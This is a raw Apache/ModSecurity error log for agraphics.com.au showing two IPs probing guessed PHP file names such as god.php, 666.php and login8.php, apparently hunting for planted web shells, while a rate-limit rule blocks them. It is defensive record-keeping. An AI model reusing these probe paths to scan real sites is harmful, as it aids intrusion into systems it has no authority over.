[Thu Feb 12 23:43:16.436961 2026] [:error] [pid 46718:tid 46723] [client 68.219.89.70:15652] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wfwdhsjo.php"] [unique_id "aY31FEdfX45LelQwruRZXQAAAcI"]
[Thu Feb 12 23:43:18.083793 2026] [:error] [pid 46675:tid 46681] [client 68.219.89.70:20558] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wfwdhsjo.php"] [unique_id "aY31FjuaQILPonWFiQmcLgAAAUM"]
[Thu Feb 12 23:43:19.021855 2026] [:error] [pid 63417:tid 63465] [client 68.219.89.70:26937] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aY31F_8gSb97qRMtXCIXiwAAAFA"]
[Thu Feb 12 23:43:22.356795 2026] [:error] [pid 46603:tid 46629] [client 68.219.89.70:14865] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aY31GvEi6O39v05JNJeo6wAAARg"]
[Thu Feb 12 23:43:28.697462 2026] [:error] [pid 46675:tid 46684] [client 68.219.89.70:19140] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aY31IDuaQILPonWFiQmcQAAAAUY"]
[Thu Feb 12 23:43:30.352465 2026] [:error] [pid 46718:tid 46733] [client 68.219.89.70:26902] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aY31IkdfX45LelQwruRZdgAAAcw"]
[Thu Feb 12 23:43:31.923044 2026] [:error] [pid 46718:tid 46737] [client 68.219.89.70:20568] [client 68.219.89.70] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfcl.php"] [unique_id "aY31I0dfX45LelQwruRZegAAAdA"]
[Thu Feb 12 23:43:33.393331 2026] [proxy_fcgi:error] [pid 63511:tid 63522] [client 68.219.89.70:21428] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:43:33.647389 2026] [proxy_fcgi:error] [pid 63511:tid 63523] [client 68.219.89.70:21428] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:43:33.910801 2026] [proxy_fcgi:error] [pid 63511:tid 63528] [client 68.219.89.70:21428] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:43:34.165746 2026] [proxy_fcgi:error] [pid 63511:tid 63527] [client 68.219.89.70:21428] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:43:34.422132 2026] [proxy_fcgi:error] [pid 63511:tid 63526] [client 68.219.89.70:21428] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:43:34.684065 2026] [proxy_fcgi:error] [pid 63511:tid 63531] [client 68.219.89.70:21428] AH01071: Got error 'Primary script unknown'
[Thu Feb 12 23:43:34.950070 2026] [proxy_fcgi:error] [pid 63511:tid 63525] [client 68.219.89.70:21428] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:12:44.729456 2026] [proxy_fcgi:error] [pid 46718:tid 46733] [client 20.215.189.110:5195] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:12:45.118257 2026] [proxy_fcgi:error] [pid 46718:tid 46730] [client 20.215.189.110:5195] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:12:45.377261 2026] [proxy_fcgi:error] [pid 46718:tid 46724] [client 20.215.189.110:5195] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:12:45.637314 2026] [proxy_fcgi:error] [pid 46718:tid 46737] [client 20.215.189.110:5195] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:12:46.035674 2026] [proxy_fcgi:error] [pid 46718:tid 46731] [client 20.215.189.110:5195] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:12:46.308098 2026] [proxy_fcgi:error] [pid 46718:tid 46744] [client 20.215.189.110:5195] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:12:46.644458 2026] [proxy_fcgi:error] [pid 46718:tid 46745] [client 20.215.189.110:5195] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:12:47.099725 2026] [proxy_fcgi:error] [pid 46718:tid 46722] [client 20.215.189.110:5195] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:12:47.358853 2026] [proxy_fcgi:error] [pid 46718:tid 46736] [client 20.215.189.110:5195] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:12:47.620577 2026] [proxy_fcgi:error] [pid 46718:tid 46723] [client 20.215.189.110:5195] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 00:12:47.919518 2026] [:error] [pid 46718:tid 46740] [client 20.215.189.110:5195] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bvb.php"] [unique_id "aY37_0dfX45LelQwruRlbQAAAdM"]
[Fri Feb 13 00:12:48.822160 2026] [:error] [pid 63416:tid 63432] [client 20.215.189.110:5463] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bvb.php"] [unique_id "aY38AL2wmecPaCHcM2_20gAAAYs"]
[Fri Feb 13 00:12:49.893307 2026] [:error] [pid 63418:tid 63497] [client 20.215.189.110:5628] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bvb.php"] [unique_id "aY38Adzjh-bbJnStPZIZOAAAAJU"]
[Fri Feb 13 00:12:50.714820 2026] [:error] [pid 63418:tid 63490] [client 20.215.189.110:5358] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bvb.php"] [unique_id "aY38Atzjh-bbJnStPZIZPAAAAI4"]
[Fri Feb 13 00:12:51.383729 2026] [:error] [pid 63416:tid 63425] [client 20.215.189.110:5464] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aY38A72wmecPaCHcM2_22AAAAYQ"]
[Fri Feb 13 00:12:52.217570 2026] [:error] [pid 63418:tid 63486] [client 20.215.189.110:7802] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aY38BNzjh-bbJnStPZIZQAAAAIo"]
[Fri Feb 13 00:12:53.231825 2026] [:error] [pid 46718:tid 46732] [client 20.215.189.110:14798] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aY38BUdfX45LelQwruRldAAAAcs"]
[Fri Feb 13 00:12:53.849813 2026] [:error] [pid 63417:tid 63460] [client 20.215.189.110:5610] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xqq.php"] [unique_id "aY38Bf8gSb97qRMtXCIeqwAAAEs"]
[Fri Feb 13 00:12:54.555367 2026] [:error] [pid 46603:tid 46620] [client 20.215.189.110:36905] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aY38BvEi6O39v05JNJew3AAAAQ8"]
[Fri Feb 13 00:12:55.206763 2026] [:error] [pid 46603:tid 46628] [client 20.215.189.110:13285] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aY38B_Ei6O39v05JNJew3QAAARc"]
[Fri Feb 13 00:12:56.008403 2026] [:error] [pid 63511:tid 63515] [client 20.215.189.110:42673] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aY38CKQCQbD5BgeyIk1RiAAAAAI"]
[Fri Feb 13 00:12:57.049424 2026] [:error] [pid 63417:tid 63472] [client 20.215.189.110:11361] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kolda.php"] [unique_id "aY38Cf8gSb97qRMtXCIesAAAAFc"]
[Fri Feb 13 00:12:57.644011 2026] [:error] [pid 46718:tid 46726] [client 20.215.189.110:9540] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aY38CUdfX45LelQwruRlgAAAAcU"]
[Fri Feb 13 00:12:58.222532 2026] [:error] [pid 46718:tid 46745] [client 20.215.189.110:11347] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aY38CkdfX45LelQwruRlgwAAAdg"]
[Fri Feb 13 00:12:58.850111 2026] [:error] [pid 65064:tid 65081] [client 20.215.189.110:5367] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aY38ChOvRgscTcqsMBkyJAAAAM4"]
[Fri Feb 13 00:12:59.485653 2026] [:error] [pid 46675:tid 46684] [client 20.215.189.110:5523] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "aY38CzuaQILPonWFiQmk6wAAAUY"]
[Fri Feb 13 00:13:00.178753 2026] [:error] [pid 63418:tid 63481] [client 20.215.189.110:7750] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/god.php"] [unique_id "aY38DNzjh-bbJnStPZIZRAAAAIU"]
[Fri Feb 13 00:13:00.881747 2026] [:error] [pid 46603:tid 46609] [client 20.215.189.110:9549] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/god.php"] [unique_id "aY38DPEi6O39v05JNJew4QAAAQQ"]
[Fri Feb 13 00:13:01.812049 2026] [:error] [pid 63511:tid 63524] [client 20.215.189.110:36435] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/god.php"] [unique_id "aY38DaQCQbD5BgeyIk1RjAAAAAs"]
[Fri Feb 13 00:13:02.553363 2026] [:error] [pid 63417:tid 63454] [client 20.215.189.110:18192] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/god.php"] [unique_id "aY38Dv8gSb97qRMtXCIevQAAAEU"]
[Fri Feb 13 00:13:03.249930 2026] [:error] [pid 46718:tid 46732] [client 20.215.189.110:5521] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aY38D0dfX45LelQwruRlkwAAAcs"]
[Fri Feb 13 00:13:04.047016 2026] [:error] [pid 63511:tid 63533] [client 20.215.189.110:5553] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aY38EKQCQbD5BgeyIk1RjgAAABQ"]
[Fri Feb 13 00:13:04.986816 2026] [:error] [pid 65064:tid 65076] [client 20.215.189.110:5537] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aY38EBOvRgscTcqsMBkyJgAAAMk"]
[Fri Feb 13 00:13:05.705284 2026] [:error] [pid 46675:tid 46702] [client 20.215.189.110:20847] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/666.php"] [unique_id "aY38ETuaQILPonWFiQmk8gAAAVg"]
[Fri Feb 13 00:13:06.347496 2026] [:error] [pid 46675:tid 46697] [client 20.215.189.110:5321] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aY38EjuaQILPonWFiQmk9AAAAVM"]
[Fri Feb 13 00:13:07.186850 2026] [:error] [pid 46603:tid 46614] [client 20.215.189.110:7721] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aY38E_Ei6O39v05JNJew6AAAAQk"]
[Fri Feb 13 00:13:08.141654 2026] [:error] [pid 63511:tid 63534] [client 20.215.189.110:17123] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aY38FKQCQbD5BgeyIk1RkgAAABU"]
[Fri Feb 13 00:13:08.990446 2026] [:error] [pid 46603:tid 46615] [client 20.215.189.110:8803] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/kj.php"] [unique_id "aY38FPEi6O39v05JNJew7wAAAQo"]
[Fri Feb 13 00:13:10.044891 2026] [:error] [pid 63511:tid 63521] [client 20.215.189.110:10510] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aY38FqQCQbD5BgeyIk1RkwAAAAg"]
[Fri Feb 13 00:13:11.455662 2026] [:error] [pid 63511:tid 63522] [client 20.215.189.110:23941] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aY38F6QCQbD5BgeyIk1RlQAAAAk"]
[Fri Feb 13 00:13:14.433409 2026] [:error] [pid 63418:tid 63496] [client 20.215.189.110:12486] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aY38Gtzjh-bbJnStPZIZVAAAAJQ"]
[Fri Feb 13 00:13:16.011649 2026] [:error] [pid 63417:tid 63450] [client 20.215.189.110:5147] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/un.php"] [unique_id "aY38HP8gSb97qRMtXCIe0wAAAEE"]
[Fri Feb 13 00:13:17.062141 2026] [:error] [pid 63418:tid 63477] [client 20.215.189.110:26462] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aY38Hdzjh-bbJnStPZIZVwAAAIE"]
[Fri Feb 13 00:13:17.734763 2026] [:error] [pid 46603:tid 46622] [client 20.215.189.110:9801] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aY38HfEi6O39v05JNJew-gAAARE"]
[Fri Feb 13 00:13:18.353633 2026] [:error] [pid 46675:tid 46699] [client 20.215.189.110:32534] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aY38HjuaQILPonWFiQmlBAAAAVU"]
[Fri Feb 13 00:13:19.912101 2026] [:error] [pid 65064:tid 65067] [client 20.215.189.110:27401] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aY38HxOvRgscTcqsMBkyOQAAAMA"]
[Fri Feb 13 00:13:20.586183 2026] [:error] [pid 46718:tid 46733] [client 20.215.189.110:32530] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lts.php"] [unique_id "aY38IEdfX45LelQwruRlvgAAAcw"]
[Fri Feb 13 00:13:21.507880 2026] [:error] [pid 46603:tid 46628] [client 20.215.189.110:17533] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lts.php"] [unique_id "aY38IfEi6O39v05JNJexAQAAARc"]
[Fri Feb 13 00:13:22.384891 2026] [:error] [pid 63418:tid 63495] [client 20.215.189.110:44022] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lts.php"] [unique_id "aY38Itzjh-bbJnStPZIZXAAAAJM"]
[Fri Feb 13 00:13:23.297480 2026] [:error] [pid 46603:tid 46629] [client 20.215.189.110:43922] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lts.php"] [unique_id "aY38I_Ei6O39v05JNJexBAAAARg"]
[Fri Feb 13 00:13:24.087382 2026] [:error] [pid 46603:tid 46607] [client 20.215.189.110:37335] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aY38JPEi6O39v05JNJexBwAAAQI"]
[Fri Feb 13 00:13:25.159262 2026] [:error] [pid 46603:tid 46620] [client 20.215.189.110:32054] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aY38JfEi6O39v05JNJexCwAAAQ8"]
[Fri Feb 13 00:13:26.041277 2026] [:error] [pid 63511:tid 63527] [client 20.215.189.110:9241] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aY38JqQCQbD5BgeyIk1RpAAAAA4"]
[Fri Feb 13 00:13:27.116173 2026] [:error] [pid 65064:tid 65090] [client 20.215.189.110:44848] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "aY38JxOvRgscTcqsMBkySQAAANc"]
[Fri Feb 13 00:13:27.857903 2026] [:error] [pid 63418:tid 63482] [client 20.215.189.110:44812] [client 20.215.189.110] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/login8.php"] [unique_id "aY38J9zjh-bbJnStPZIZYQAAAIY"]
